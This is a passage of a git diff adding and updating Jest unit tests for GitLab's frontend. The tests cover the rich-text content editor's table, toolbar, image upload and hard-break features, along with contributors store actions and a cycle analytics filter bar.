+ extensions: [Table, TableCell, TableRow, TableHeader],
+ });
+
+ buildWrapper();
+ });
+
+ afterEach(() => {
+ editor.destroy();
+ wrapper.destroy();
+ });
+
+ it('renders a grid of 3x3 buttons to create a table', () => {
+ expect(getNumButtons()).toBe(9); // 3 x 3
+ });
+
+ describe.each`
+ row | col | numButtons | tableSize
+ ${1} | ${2} | ${9} | ${'1x2'}
+ ${2} | ${2} | ${9} | ${'2x2'}
+ ${2} | ${3} | ${12} | ${'2x3'}
+ ${3} | ${2} | ${12} | ${'3x2'}
+ ${3} | ${3} | ${16} | ${'3x3'}
+ `('button($row, $col) in the table creator grid', ({ row, col, numButtons, tableSize }) => {
+ describe('on mouse over', () => {
+ beforeEach(async () => {
+ const button = wrapper.findByTestId(`table-${row}-${col}`);
+ await button.trigger('mouseover');
+ });
+
+ it('marks all rows and cols before it as active', () => {
+ const prevRow = Math.max(1, row - 1);
+ const prevCol = Math.max(1, col - 1);
+ expect(wrapper.findByTestId(`table-${prevRow}-${prevCol}`).element).toHaveClass(
+ 'gl-bg-blue-50!',
+ );
+ });
+
+ it('shows a help text indicating the size of the table being inserted', () => {
+ expect(findDropdown().element).toHaveText(`Insert a ${tableSize} table.`);
+ });
+
+ it('adds another row and col of buttons to create a bigger table', () => {
+ expect(getNumButtons()).toBe(numButtons);
+ });
+ });
+
+ describe('on click', () => {
+ let commands;
+
+ beforeEach(async () => {
+ commands = mockChainedCommands(editor, ['focus', 'insertTable', 'run']);
+
+ const button = wrapper.findByTestId(`table-${row}-${col}`);
+ await button.trigger('mouseover');
+ await button.trigger('click');
+ });
+
+ it('inserts a table with $tableSize rows and cols', () => {
+ expect(commands.focus).toHaveBeenCalled();
+ expect(commands.insertTable).toHaveBeenCalledWith({
+ rows: row,
+ cols: col,
+ withHeaderRow: true,
+ });
+ expect(commands.run).toHaveBeenCalled();
+
+ expect(wrapper.emitted().execute).toHaveLength(1);
+ });
+ });
+ });
+
+ it('does not create more buttons than a 8x8 grid', async () => {
+ for (let i = 3; i < 8; i += 1) {
+ expect(getNumButtons()).toBe(i * i);
+
+ // eslint-disable-next-line no-await-in-loop
+ await wrapper.findByTestId(`table-${i}-${i}`).trigger('mouseover');
+ expect(findDropdown().element).toHaveText(`Insert a ${i}x${i} table.`);
+ }
+
+ expect(getNumButtons()).toBe(64); // 8x8 (and not 9x9)
+ });
+});
diff --git a/spec/frontend/content_editor/components/toolbar_text_style_dropdown_spec.js b/spec/frontend/content_editor/components/toolbar_text_style_dropdown_spec.js
index 8c54f6bb8bb..9a46e27404f 100644
--- a/spec/frontend/content_editor/components/toolbar_text_style_dropdown_spec.js
+++ b/spec/frontend/content_editor/components/toolbar_text_style_dropdown_spec.js
@@ -2,21 +2,16 @@ import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
import ToolbarTextStyleDropdown from '~/content_editor/components/toolbar_text_style_dropdown.vue';
import { TEXT_STYLE_DROPDOWN_ITEMS } from '~/content_editor/constants';
-import { createTestContentEditorExtension, createTestEditor } from '../test_utils';
+import { tiptapExtension as Heading } from '~/content_editor/extensions/heading';
+import { createTestEditor, mockChainedCommands } from '../test_utils';
describe('content_editor/components/toolbar_headings_dropdown', () => {
let wrapper;
let tiptapEditor;
- let commandMocks;
const buildEditor = () => {
- const testExtension = createTestContentEditorExtension({
- commands: TEXT_STYLE_DROPDOWN_ITEMS.map((item) => item.editorCommand),
- });
-
- commandMocks = testExtension.commandMocks;
tiptapEditor = createTestEditor({
- extensions: [testExtension.tiptapExtension],
+ extensions: [Heading],
});
jest.spyOn(tiptapEditor, 'isActive');
@@ -104,9 +99,12 @@ describe('content_editor/components/toolbar_headings_dropdown', () => {
TEXT_STYLE_DROPDOWN_ITEMS.forEach((textStyle, index) => {
const { editorCommand, commandParams } = textStyle;
+ const commands = mockChainedCommands(tiptapEditor, [editorCommand, 'focus', 'run']);
wrapper.findAllComponents(GlDropdownItem).at(index).vm.$emit('click');
- expect(commandMocks[editorCommand]).toHaveBeenCalledWith(commandParams || {});
+ expect(commands[editorCommand]).toHaveBeenCalledWith(commandParams || {});
+ expect(commands.focus).toHaveBeenCalled();
+ expect(commands.run).toHaveBeenCalled();
});
});
diff --git a/spec/frontend/content_editor/components/top_toolbar_spec.js b/spec/frontend/content_editor/components/top_toolbar_spec.js
index 0d55fa730ae..5411793cd5e 100644
--- a/spec/frontend/content_editor/components/top_toolbar_spec.js
+++ b/spec/frontend/content_editor/components/top_toolbar_spec.js
@@ -39,17 +39,19 @@ describe('content_editor/components/top_toolbar', () => {
});
describe.each`
- testId | controlProps
- ${'bold'} | ${{ contentType: 'bold', iconName: 'bold', label: 'Bold text', editorCommand: 'toggleBold' }}
- ${'italic'} | ${{ contentType: 'italic', iconName: 'italic', label: 'Italic text', editorCommand: 'toggleItalic' }}
- ${'strike'} | ${{ contentType: 'strike', iconName: 'strikethrough', label: 'Strikethrough', editorCommand: 'toggleStrike' }}
- ${'code'} | ${{ contentType: 'code', iconName: 'code', label: 'Code', editorCommand: 'toggleCode' }}
- ${'blockquote'} | ${{ contentType: 'blockquote', iconName: 'quote', label: 'Insert a quote', editorCommand: 'toggleBlockquote' }}
- ${'bullet-list'} | ${{ contentType: 'bulletList', iconName: 'list-bulleted', label: 'Add a bullet list', editorCommand: 'toggleBulletList' }}
- ${'ordered-list'} | ${{ contentType: 'orderedList', iconName: 'list-numbered', label: 'Add a numbered list', editorCommand: 'toggleOrderedList' }}
- ${'code-block'} | ${{ contentType: 'codeBlock', iconName: 'doc-code', label: 'Insert a code block', editorCommand: 'toggleCodeBlock' }}
- ${'text-styles'} | ${{}}
- ${'link'} | ${{}}
+ testId | controlProps
+ ${'bold'} | ${{ contentType: 'bold', iconName: 'bold', label: 'Bold text', editorCommand: 'toggleBold' }}
+ ${'italic'} | ${{ contentType: 'italic', iconName: 'italic', label: 'Italic text', editorCommand: 'toggleItalic' }}
+ ${'strike'} | ${{ contentType: 'strike', iconName: 'strikethrough', label: 'Strikethrough', editorCommand: 'toggleStrike' }}
+ ${'code'} | ${{ contentType: 'code', iconName: 'code', label: 'Code', editorCommand: 'toggleCode' }}
+ ${'blockquote'} | ${{ contentType: 'blockquote', iconName: 'quote', label: 'Insert a quote', editorCommand: 'toggleBlockquote' }}
+ ${'bullet-list'} | ${{ contentType: 'bulletList', iconName: 'list-bulleted', label: 'Add a bullet list', editorCommand: 'toggleBulletList' }}
+ ${'ordered-list'} | ${{ contentType: 'orderedList', iconName: 'list-numbered', label: 'Add a numbered list', editorCommand: 'toggleOrderedList' }}
+ ${'horizontal-rule'} | ${{ contentType: 'horizontalRule', iconName: 'dash', label: 'Add a horizontal rule', editorCommand: 'setHorizontalRule' }}
+ ${'code-block'} | ${{ contentType: 'codeBlock', iconName: 'doc-code', label: 'Insert a code block', editorCommand: 'toggleCodeBlock' }}
+ ${'text-styles'} | ${{}}
+ ${'link'} | ${{}}
+ ${'image'} | ${{}}
`('given a $testId toolbar control', ({ testId, controlProps }) => {
beforeEach(() => {
buildWrapper();
diff --git a/spec/frontend/content_editor/components/wrappers/image_spec.js b/spec/frontend/content_editor/components/wrappers/image_spec.js
new file mode 100644
index 00000000000..7b057f9cabc
--- /dev/null
+++ b/spec/frontend/content_editor/components/wrappers/image_spec.js
@@ -0,0 +1,66 @@
+import { GlLoadingIcon } from '@gitlab/ui';
+import { NodeViewWrapper } from '@tiptap/vue-2';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import ImageWrapper from '~/content_editor/components/wrappers/image.vue';
+
+describe('content/components/wrappers/image', () => {
+ let wrapper;
+
+ const createWrapper = async (nodeAttrs = {}) => {
+ wrapper = shallowMountExtended(ImageWrapper, {
+ propsData: {
+ node: {
+ attrs: nodeAttrs,
+ },
+ },
+ });
+ };
+ const findImage = () => wrapper.findByTestId('image');
+ const findLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders a node-view-wrapper with display-inline-block class', () => {
+ createWrapper();
+
+ expect(wrapper.findComponent(NodeViewWrapper).classes()).toContain('gl-display-inline-block');
+ });
+
+ it('renders an image that displays the node src', () => {
+ const src = 'foobar.png';
+
+ createWrapper({ src });
+
+ expect(findImage().attributes().src).toBe(src);
+ });
+
+ describe('when uploading', () => {
+ beforeEach(() => {
+ createWrapper({ uploading: true });
+ });
+
+ it('renders a gl-loading-icon component', () => {
+ expect(findLoadingIcon().exists()).toBe(true);
+ });
+
+ it('adds gl-opacity-5 class selector to image', () => {
+ expect(findImage().classes()).toContain('gl-opacity-5');
+ });
+ });
+
+ describe('when not uploading', () => {
+ beforeEach(() => {
+ createWrapper({ uploading: false });
+ });
+
+ it('does not render a gl-loading-icon component', () => {
+ expect(findLoadingIcon().exists()).toBe(false);
+ });
+
+ it('does not add gl-opacity-5 class selector to image', () => {
+ expect(findImage().classes()).not.toContain('gl-opacity-5');
+ });
+ });
+});
diff --git a/spec/frontend/content_editor/extensions/hard_break_spec.js b/spec/frontend/content_editor/extensions/hard_break_spec.js
new file mode 100644
index 00000000000..ebd58e60b0c
--- /dev/null
+++ b/spec/frontend/content_editor/extensions/hard_break_spec.js
@@ -0,0 +1,46 @@
+import { tiptapExtension as HardBreak } from '~/content_editor/extensions/hard_break';
+import { createTestEditor, createDocBuilder } from '../test_utils';
+
+describe('content_editor/extensions/hard_break', () => {
+ let tiptapEditor;
+ let eq;
+ let doc;
+ let p;
+ let hardBreak;
+
+ beforeEach(() => {
+ tiptapEditor = createTestEditor({ extensions: [HardBreak] });
+
+ ({
+ builders: { doc, p, hardBreak },
+ eq,
+ } = createDocBuilder({
+ tiptapEditor,
+ names: { hardBreak: { nodeType: HardBreak.name } },
+ }));
+ });
+
+ describe('Shift-Enter shortcut', () => {
+ it('inserts a hard break when shortcut is executed', () => {
+ const initialDoc = doc(p(''));
+ const expectedDoc = doc(p(hardBreak()));
+
+ tiptapEditor.commands.setContent(initialDoc.toJSON());
+ tiptapEditor.commands.keyboardShortcut('Shift-Enter');
+
+ expect(eq(tiptapEditor.state.doc, expectedDoc)).toBe(true);
+ });
+ });
+
+ describe('Mod-Enter shortcut', () => {
+ it('does not insert a hard break when shortcut is executed', () => {
+ const initialDoc = doc(p(''));
+ const expectedDoc = initialDoc;
+
+ tiptapEditor.commands.setContent(initialDoc.toJSON());
+ tiptapEditor.commands.keyboardShortcut('Mod-Enter');
+
+ expect(eq(tiptapEditor.state.doc, expectedDoc)).toBe(true);
+ });
+ });
+});
diff --git a/spec/frontend/content_editor/extensions/horizontal_rule_spec.js b/spec/frontend/content_editor/extensions/horizontal_rule_spec.js
new file mode 100644
index 00000000000..a1bc7f0e8ed
--- /dev/null
+++ b/spec/frontend/content_editor/extensions/horizontal_rule_spec.js
@@ -0,0 +1,20 @@
+import { hrInputRuleRegExp } from '~/content_editor/extensions/horizontal_rule';
+
+describe('content_editor/extensions/horizontal_rule', () => {
+ describe.each`
+ input | matches
+ ${'---'} | ${true}
+ ${'--'} | ${false}
+ ${'---x'} | ${false}
+ ${' ---x'} | ${false}
+ ${' --- '} | ${false}
+ ${'x---x'} | ${false}
+ ${'x---'} | ${false}
+ `('hrInputRuleRegExp', ({ input, matches }) => {
+ it(`${matches ? 'matches' : 'does not match'}: "${input}"`, () => {
+ const match = new RegExp(hrInputRuleRegExp).test(input);
+
+ expect(match).toBe(matches);
+ });
+ });
+});
diff --git a/spec/frontend/content_editor/extensions/image_spec.js b/spec/frontend/content_editor/extensions/image_spec.js
new file mode 100644
index 00000000000..922966b813a
--- /dev/null
+++ b/spec/frontend/content_editor/extensions/image_spec.js
@@ -0,0 +1,193 @@
+import axios from 'axios';
+import MockAdapter from 'axios-mock-adapter';
+import { once } from 'lodash';
+import waitForPromises from 'helpers/wait_for_promises';
+import * as Image from '~/content_editor/extensions/image';
+import httpStatus from '~/lib/utils/http_status';
+import { loadMarkdownApiResult } from '../markdown_processing_examples';
+import { createTestEditor, createDocBuilder } from '../test_utils';
+
+describe('content_editor/extensions/image', () => {
+ let tiptapEditor;
+ let eq;
+ let doc;
+ let p;
+ let image;
+ let renderMarkdown;
+ let mock;
+ const uploadsPath = '/uploads/';
+ const validFile = new File(['foo'], 'foo.png', { type: 'image/png' });
+ const invalidFile = new File(['foo'], 'bar.html', { type: 'text/html' });
+
+ beforeEach(() => {
+ renderMarkdown = jest
+ .fn()
+ .mockResolvedValue(loadMarkdownApiResult('project_wiki_attachment_image').body);
+
+ const { tiptapExtension } = Image.configure({ renderMarkdown, uploadsPath });
+
+ tiptapEditor = createTestEditor({ extensions: [tiptapExtension] });
+
+ ({
+ builders: { doc, p, image },
+ eq,
+ } = createDocBuilder({
+ tiptapEditor,
+ names: { image: { nodeType: tiptapExtension.name } },
+ }));
+
+ mock = new MockAdapter(axios);
+ });
+
+ afterEach(() => {
+ mock.reset();
+ });
+
+ it.each`
+ file | valid | description
+ ${validFile} | ${true} | ${'handles paste event when mime type is valid'}
+ ${invalidFile} | ${false} | ${'does not handle paste event when mime type is invalid'}
+ `('$description', ({ file, valid }) => {
+ const pasteEvent = Object.assign(new Event('paste'), {
+ clipboardData: {
+ files: [file],
+ },
+ });
+ let handled;
+
+ tiptapEditor.view.someProp('handlePaste', (eventHandler) => {
+ handled = eventHandler(tiptapEditor.view, pasteEvent);
+ });
+
+ expect(handled).toBe(valid);
+ });
+
+ it.each`
+ file | valid | description
+ ${validFile} | ${true} | ${'handles drop event when mime type is valid'}
+ ${invalidFile} | ${false} | ${'does not handle drop event when mime type is invalid'}
+ `('$description', ({ file, valid }) => {
+ const dropEvent = Object.assign(new Event('drop'), {
+ dataTransfer: {
+ files: [file],
+ },
+ });
+ let handled;
+
+ tiptapEditor.view.someProp('handleDrop', (eventHandler) => {
+ handled = eventHandler(tiptapEditor.view, dropEvent);
+ });
+
+ expect(handled).toBe(valid);
+ });
+
+ it('handles paste event when mime type is correct', () => {
+ const pasteEvent = Object.assign(new Event('paste'), {
+ clipboardData: {
+ files: [new File(['foo'], 'foo.png', { type: 'image/png' })],
+ },
+ });
+ const handled = tiptapEditor.view.someProp('handlePaste', (eventHandler) => {
+ return eventHandler(tiptapEditor.view, pasteEvent);
+ });
+
+ expect(handled).toBe(true);
+ });
+
+ describe('uploadImage command', () => {
+ describe('when file has correct mime type', () => {
+ let initialDoc;
+ const base64EncodedFile = 'data:image/png;base64,Zm9v';
+
+ beforeEach(() => {
+ initialDoc = doc(p(''));
+ tiptapEditor.commands.setContent(initialDoc.toJSON());
+ });
+
+ describe('when uploading image succeeds', () => {
+ const successResponse = {
+ link: {
+ markdown: '[image](/uploads/25265/image.png)',
+ },
+ };
+
+ beforeEach(() => {
+ mock.onPost().reply(httpStatus.OK, successResponse);
+ });
+
+ it('inserts an image with src set to the encoded image file and uploading true', (done) => {
+ const expectedDoc = doc(p(image({ uploading: true, src: base64EncodedFile })));
+
+ tiptapEditor.on(
+ 'update',
+ once(() => {
+ expect(eq(tiptapEditor.state.doc, expectedDoc)).toBe(true);
+ done();
+ }),
+ );
+
+ tiptapEditor.commands.uploadImage({ file: validFile });
+ });
+
+ it('updates the inserted image with canonicalSrc when upload is successful', async () => {
+ const expectedDoc = doc(
+ p(
+ image({
+ canonicalSrc: 'test-file.png',
+ src: base64EncodedFile,
+ alt: 'test file',
+ uploading: false,
+ }),
+ ),
+ );
+
+ tiptapEditor.commands.uploadImage({ file: validFile });
+
+ await waitForPromises();
+
+ expect(eq(tiptapEditor.state.doc, expectedDoc)).toBe(true);
+ });
+ });
+
+ describe('when uploading image request fails', () => {
+ beforeEach(() => {
+ mock.onPost().reply(httpStatus.INTERNAL_SERVER_ERROR);
+ });
+
+ it('resets the doc to orginal state', async () => {
+ const expectedDoc = doc(p(''));
+
+ tiptapEditor.commands.uploadImage({ file: validFile });
+
+ await waitForPromises();
+
+ expect(eq(tiptapEditor.state.doc, expectedDoc)).toBe(true);
+ });
+
+ it('emits an error event that includes an error message', (done) => {
+ tiptapEditor.commands.uploadImage({ file: validFile });
+
+ tiptapEditor.on('error', (message) => {
+ expect(message).toBe('An error occurred while uploading the image. Please try again.');
+ done();
+ });
+ });
+ });
+ });
+
+ describe('when file does not have correct mime type', () => {
+ let initialDoc;
+
+ beforeEach(() => {
+ initialDoc = doc(p(''));
+ tiptapEditor.commands.setContent(initialDoc.toJSON());
+ });
+
+ it('does not start the upload image process', () => {
+ tiptapEditor.commands.uploadImage({ file: invalidFile });
+
+ expect(eq(tiptapEditor.state.doc, initialDoc)).toBe(true);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/content_editor/markdown_processing_examples.js b/spec/frontend/content_editor/markdown_processing_examples.js
index 12bf2cbb747..12eed00f3c6 100644
--- a/spec/frontend/content_editor/markdown_processing_examples.js
+++ b/spec/frontend/content_editor/markdown_processing_examples.js
@@ -1,7 +1,6 @@
import fs from 'fs';
import path from 'path';
import jsYaml from 'js-yaml';
-import { toArray } from 'lodash';
import { getJSONFixture } from 'helpers/fixtures';
export const loadMarkdownApiResult = (testName) => {
@@ -15,5 +14,5 @@ export const loadMarkdownApiExamples = () => {
const apiMarkdownYamlText = fs.readFileSync(apiMarkdownYamlPath);
const apiMarkdownExampleObjects = jsYaml.safeLoad(apiMarkdownYamlText);
- return apiMarkdownExampleObjects.map((example) => toArray(example));
+ return apiMarkdownExampleObjects.map(({ name, context, markdown }) => [name, context, markdown]);
};
diff --git a/spec/frontend/content_editor/markdown_processing_spec.js b/spec/frontend/content_editor/markdown_processing_spec.js
index cb34476d680..028cd6a8271 100644
--- a/spec/frontend/content_editor/markdown_processing_spec.js
+++ b/spec/frontend/content_editor/markdown_processing_spec.js
@@ -3,11 +3,15 @@ import { loadMarkdownApiExamples, loadMarkdownApiResult } from './markdown_proce
describe('markdown processing', () => {
// Ensure we generate same markdown that was provided to Markdown API.
- it.each(loadMarkdownApiExamples())('correctly handles %s', async (testName, markdown) => {
- const { html } = loadMarkdownApiResult(testName);
- const contentEditor = createContentEditor({ renderMarkdown: () => html });
- await contentEditor.setSerializedContent(markdown);
+ it.each(loadMarkdownApiExamples())(
+ 'correctly handles %s (context: %s)',
+ async (name, context, markdown) => {
+ const testName = context ? `${context}_${name}` : name;
+ const { html, body } = loadMarkdownApiResult(testName);
+ const contentEditor = createContentEditor({ renderMarkdown: () => html || body });
+ await contentEditor.setSerializedContent(markdown);
- expect(contentEditor.getSerializedContent()).toBe(markdown);
- });
+ expect(contentEditor.getSerializedContent()).toBe(markdown);
+ },
+ );
});
diff --git a/spec/frontend/content_editor/services/create_content_editor_spec.js b/spec/frontend/content_editor/services/create_content_editor_spec.js
index 59b2fab6d54..b614efd954a 100644
--- a/spec/frontend/content_editor/services/create_content_editor_spec.js
+++ b/spec/frontend/content_editor/services/create_content_editor_spec.js
@@ -5,10 +5,11 @@ import { createTestContentEditorExtension } from '../test_utils';
describe('content_editor/services/create_editor', () => {
let renderMarkdown;
let editor;
+ const uploadsPath = '/uploads';
beforeEach(() => {
renderMarkdown = jest.fn();
- editor = createContentEditor({ renderMarkdown });
+ editor = createContentEditor({ renderMarkdown, uploadsPath });
});
it('sets gl-outline-0! class selector to the tiptapEditor instance', () => {
@@ -48,4 +49,13 @@ describe('content_editor/services/create_editor', () => {
it('throws an error when a renderMarkdown fn is not provided', () => {
expect(() => createContentEditor()).toThrow(PROVIDE_SERIALIZER_OR_RENDERER_ERROR);
});
+
+ it('provides uploadsPath and renderMarkdown function to Image extension', () => {
+ expect(
+ editor.tiptapEditor.extensionManager.extensions.find((e) => e.name === 'image').options,
+ ).toMatchObject({
+ uploadsPath,
+ renderMarkdown,
+ });
+ });
});
diff --git a/spec/frontend/content_editor/services/track_input_rules_and_shortcuts_spec.js b/spec/frontend/content_editor/services/track_input_rules_and_shortcuts_spec.js
index cf74b5c56c9..64f3d8df6e0 100644
--- a/spec/frontend/content_editor/services/track_input_rules_and_shortcuts_spec.js
+++ b/spec/frontend/content_editor/services/track_input_rules_and_shortcuts_spec.js
@@ -1,26 +1,23 @@
-import { BulletList } from '@tiptap/extension-bullet-list';
-import { CodeBlockLowlight } from '@tiptap/extension-code-block-lowlight';
-import { Document } from '@tiptap/extension-document';
-import { Heading } from '@tiptap/extension-heading';
-import { ListItem } from '@tiptap/extension-list-item';
-import { Paragraph } from '@tiptap/extension-paragraph';
-import { Text } from '@tiptap/extension-text';
-import { Editor } from '@tiptap/vue-2';
import { mockTracking } from 'helpers/tracking_helper';
import {
KEYBOARD_SHORTCUT_TRACKING_ACTION,
INPUT_RULE_TRACKING_ACTION,
CONTENT_EDITOR_TRACKING_LABEL,
} from '~/content_editor/constants';
+import { tiptapExtension as BulletList } from '~/content_editor/extensions/bullet_list';
+import { tiptapExtension as CodeBlockLowlight } from '~/content_editor/extensions/code_block_highlight';
+import { tiptapExtension as Heading } from '~/content_editor/extensions/heading';
+import { tiptapExtension as ListItem } from '~/content_editor/extensions/list_item';
import trackInputRulesAndShortcuts from '~/content_editor/services/track_input_rules_and_shortcuts';
import { ENTER_KEY, BACKSPACE_KEY } from '~/lib/utils/keys';
+import { createTestEditor } from '../test_utils';
describe('content_editor/services/track_input_rules_and_shortcuts', () => {
let trackingSpy;
let editor;
let trackedExtensions;
const HEADING_TEXT = 'Heading text';
- const extensions = [Document, Paragraph, Text, Heading, CodeBlockLowlight, BulletList, ListItem];
+ const extensions = [Heading, CodeBlockLowlight, BulletList, ListItem];
beforeEach(() => {
trackingSpy = mockTracking(undefined, null, jest.spyOn);
@@ -29,7 +26,7 @@ describe('content_editor/services/track_input_rules_and_shortcuts', () => {
describe('given the heading extension is instrumented', () => {
beforeEach(() => {
trackedExtensions = extensions.map(trackInputRulesAndShortcuts);
- editor = new Editor({
+ editor = createTestEditor({
extensions: extensions.map(trackInputRulesAndShortcuts),
});
});
diff --git a/spec/frontend/content_editor/services/upload_file_spec.js b/spec/frontend/content_editor/services/upload_file_spec.js
new file mode 100644
index 00000000000..87c5298079e
--- /dev/null
+++ b/spec/frontend/content_editor/services/upload_file_spec.js
@@ -0,0 +1,46 @@
+import axios from 'axios';
+import MockAdapter from 'axios-mock-adapter';
+import { uploadFile } from '~/content_editor/services/upload_file';
+import httpStatus from '~/lib/utils/http_status';
+
+describe('content_editor/services/upload_file', () => {
+ const uploadsPath = '/uploads';
+ const file = new File(['content'], 'file.txt');
+ // TODO: Replace with automated fixture
+ const renderedAttachmentLinkFixture =
+ '<a href="/group1/project1/-/wikis/test-file.png" data-canonical-src="test-file.png"><img data-src="/group1/project1/-/wikis/test-file.png" data-canonical-src="test-file.png"></a></p>';
+ const successResponse = {
+ link: {
+ markdown: '[GitLab](https://gitlab.com)',
+ },
+ };
+ const parseHTML = (html) => new DOMParser().parseFromString(html, 'text/html');
+ let mock;
+ let renderMarkdown;
+ let renderedMarkdown;
+
+ beforeEach(() => {
+ const formData = new FormData();
+ formData.append('file', file);
+
+ renderedMarkdown = parseHTML(renderedAttachmentLinkFixture);
+
+ mock = new MockAdapter(axios);
+ mock.onPost(uploadsPath, formData).reply(httpStatus.OK, successResponse);
+ renderMarkdown = jest.fn().mockResolvedValue(renderedAttachmentLinkFixture);
+ });
+
+ afterEach(() => {
+ mock.restore();
+ });
+
+ it('returns src and canonicalSrc of uploaded file', async () => {
+ const response = await uploadFile({ uploadsPath, renderMarkdown, file });
+
+ expect(renderMarkdown).toHaveBeenCalledWith(successResponse.link.markdown);
+ expect(response).toEqual({
+ src: renderedMarkdown.querySelector('a').getAttribute('href'),
+ canonicalSrc: renderedMarkdown.querySelector('a').dataset.canonicalSrc,
+ });
+ });
+});
diff --git a/spec/frontend/content_editor/test_utils.js b/spec/frontend/content_editor/test_utils.js
index 8e73aef678b..090e1d92218 100644
--- a/spec/frontend/content_editor/test_utils.js
+++ b/spec/frontend/content_editor/test_utils.js
@@ -3,6 +3,16 @@ import { Document } from '@tiptap/extension-document';
import { Paragraph } from '@tiptap/extension-paragraph';
import { Text } from '@tiptap/extension-text';
import { Editor } from '@tiptap/vue-2';
+import { builders, eq } from 'prosemirror-test-builder';
+
+export const createDocBuilder = ({ tiptapEditor, names = {} }) => {
+ const docBuilders = builders(tiptapEditor.schema, {
+ p: { nodeType: 'paragraph' },
+ ...names,
+ });
+
+ return { eq, builders: docBuilders };
+};
/**
* Creates an instance of the Tiptap Editor class
@@ -15,7 +25,7 @@ import { Editor } from '@tiptap/vue-2';
* include in the editor
* @returns An instance of a Tiptap’s Editor class
*/
-export const createTestEditor = ({ extensions = [] }) => {
+export const createTestEditor = ({ extensions = [] } = {}) => {
return new Editor({
extensions: [Document, Text, Paragraph, ...extensions],
});
diff --git a/spec/frontend/contributors/store/actions_spec.js b/spec/frontend/contributors/store/actions_spec.js
index 82b6492b779..a4054ab1fc8 100644
--- a/spec/frontend/contributors/store/actions_spec.js
+++ b/spec/frontend/contributors/store/actions_spec.js
@@ -2,7 +2,7 @@ import MockAdapter from 'axios-mock-adapter';
import testAction from 'helpers/vuex_action_helper';
import * as actions from '~/contributors/stores/actions';
import * as types from '~/contributors/stores/mutation_types';
-import { deprecatedCreateFlash as flashError } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
jest.mock('~/flash.js');
@@ -47,7 +47,9 @@ describe('Contributors store actions', () => {
[{ type: types.SET_LOADING_STATE, payload: true }],
[],
() => {
- expect(flashError).toHaveBeenCalledWith(expect.stringMatching('error'));
+ expect(createFlash).toHaveBeenCalledWith({
+ message: expect.stringMatching('error'),
+ });
mock.restore();
done();
},
diff --git a/spec/frontend/cycle_analytics/filter_bar_spec.js b/spec/frontend/cycle_analytics/filter_bar_spec.js
new file mode 100644
index 00000000000..407f21bd956
--- /dev/null
+++ b/spec/frontend/cycle_analytics/filter_bar_spec.js
@@ -0,0 +1,224 @@
+import { createLocalVue, shallowMount } from '@vue/test-utils';
+import axios from 'axios';
+import MockAdapter from 'axios-mock-adapter';
+import Vuex from 'vuex';
+import {
+ filterMilestones,
+ filterLabels,
+} from 'jest/vue_shared/components/filtered_search_bar/store/modules/filters/mock_data';
+import FilterBar from '~/cycle_analytics/components/filter_bar.vue';
+import storeConfig from '~/cycle_analytics/store';
+import * as commonUtils from '~/lib/utils/common_utils';
+import * as urlUtils from '~/lib/utils/url_utility';
+import FilteredSearchBar from '~/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue';
+import * as utils from '~/vue_shared/components/filtered_search_bar/filtered_search_utils';
+import initialFiltersState from '~/vue_shared/components/filtered_search_bar/store/modules/filters/state';
+import UrlSync from '~/vue_shared/components/url_sync.vue';
+
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
+const milestoneTokenType = 'milestone';
+const labelsTokenType = 'labels';
+const authorTokenType = 'author';
+const assigneesTokenType = 'assignees';
+
+const initialFilterBarState = {
+ selectedMilestone: null,
+ selectedAuthor: null,
+ selectedAssigneeList: null,
+ selectedLabelList: null,
+};
+
+const defaultParams = {
+ milestone_title: null,
+ 'not[milestone_title]': null,
+ author_username: null,
+ 'not[author_username]': null,
+ assignee_username: null,
+ 'not[assignee_username]': null,
+ label_name: null,
+ 'not[label_name]': null,
+};
+
+async function shouldMergeUrlParams(wrapper, result) {
+ await wrapper.vm.$nextTick();
+ expect(urlUtils.mergeUrlParams).toHaveBeenCalledWith(result, window.location.href, {
+ spreadArrays: true,
+ });
+ expect(commonUtils.historyPushState).toHaveBeenCalled();
+}
+
+describe('Filter bar', () => {
+ let wrapper;
+ let store;
+ let mock;
+
+ let setFiltersMock;
+
+ const createStore = (initialState = {}) => {
+ setFiltersMock = jest.fn();
+
+ return new Vuex.Store({
+ modules: {
+ filters: {
+ namespaced: true,
+ state: {
+ ...initialFiltersState(),
+ ...initialState,
+ },
+ actions: {
+ setFilters: setFiltersMock,
+ },
+ },
+ },
+ });
+ };
+
+ const createComponent = (initialStore) => {
+ return shallowMount(FilterBar, {
+ localVue,
+ store: initialStore,
+ propsData: {
+ groupPath: 'foo',
+ },
+ stubs: {
+ UrlSync,
+ },
+ });
+ };
+
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ mock.restore();
+ });
+
+ const selectedMilestone = [filterMilestones[0]];
+ const selectedLabelList = [filterLabels[0]];
+
+ const findFilteredSearch = () => wrapper.findComponent(FilteredSearchBar);
+ const getSearchToken = (type) =>
+ findFilteredSearch()
+ .props('tokens')
+ .find((token) => token.type === type);
+
+ describe('default', () => {
+ beforeEach(() => {
+ store = createStore();
+ wrapper = createComponent(store);
+ });
+
+ it('renders FilteredSearchBar component', () => {
+ expect(findFilteredSearch().exists()).toBe(true);
+ });
+ });
+
+ describe('when the state has data', () => {
+ beforeEach(() => {
+ store = createStore({
+ milestones: { data: selectedMilestone },
+ labels: { data: selectedLabelList },
+ authors: { data: [] },
+ assignees: { data: [] },
+ });
+ wrapper = createComponent(store);
+ });
+
+ it('displays the milestone and label token', () => {
+ const tokens = findFilteredSearch().props('tokens');
+
+ expect(tokens).toHaveLength(4);
+ expect(tokens[0].type).toBe(milestoneTokenType);
+ expect(tokens[1].type).toBe(labelsTokenType);
+ expect(tokens[2].type).toBe(authorTokenType);
+ expect(tokens[3].type).toBe(assigneesTokenType);
+ });
+
+ it('provides the initial milestone token', () => {
+ const { initialMilestones: milestoneToken } = getSearchToken(milestoneTokenType);
+
+ expect(milestoneToken).toHaveLength(selectedMilestone.length);
+ });
+
+ it('provides the initial label token', () => {
+ const { initialLabels: labelToken } = getSearchToken(labelsTokenType);
+
+ expect(labelToken).toHaveLength(selectedLabelList.length);
+ });
+ });
+
+ describe('when the user interacts', () => {
+ beforeEach(() => {
+ store = createStore({
+ milestones: { data: filterMilestones },
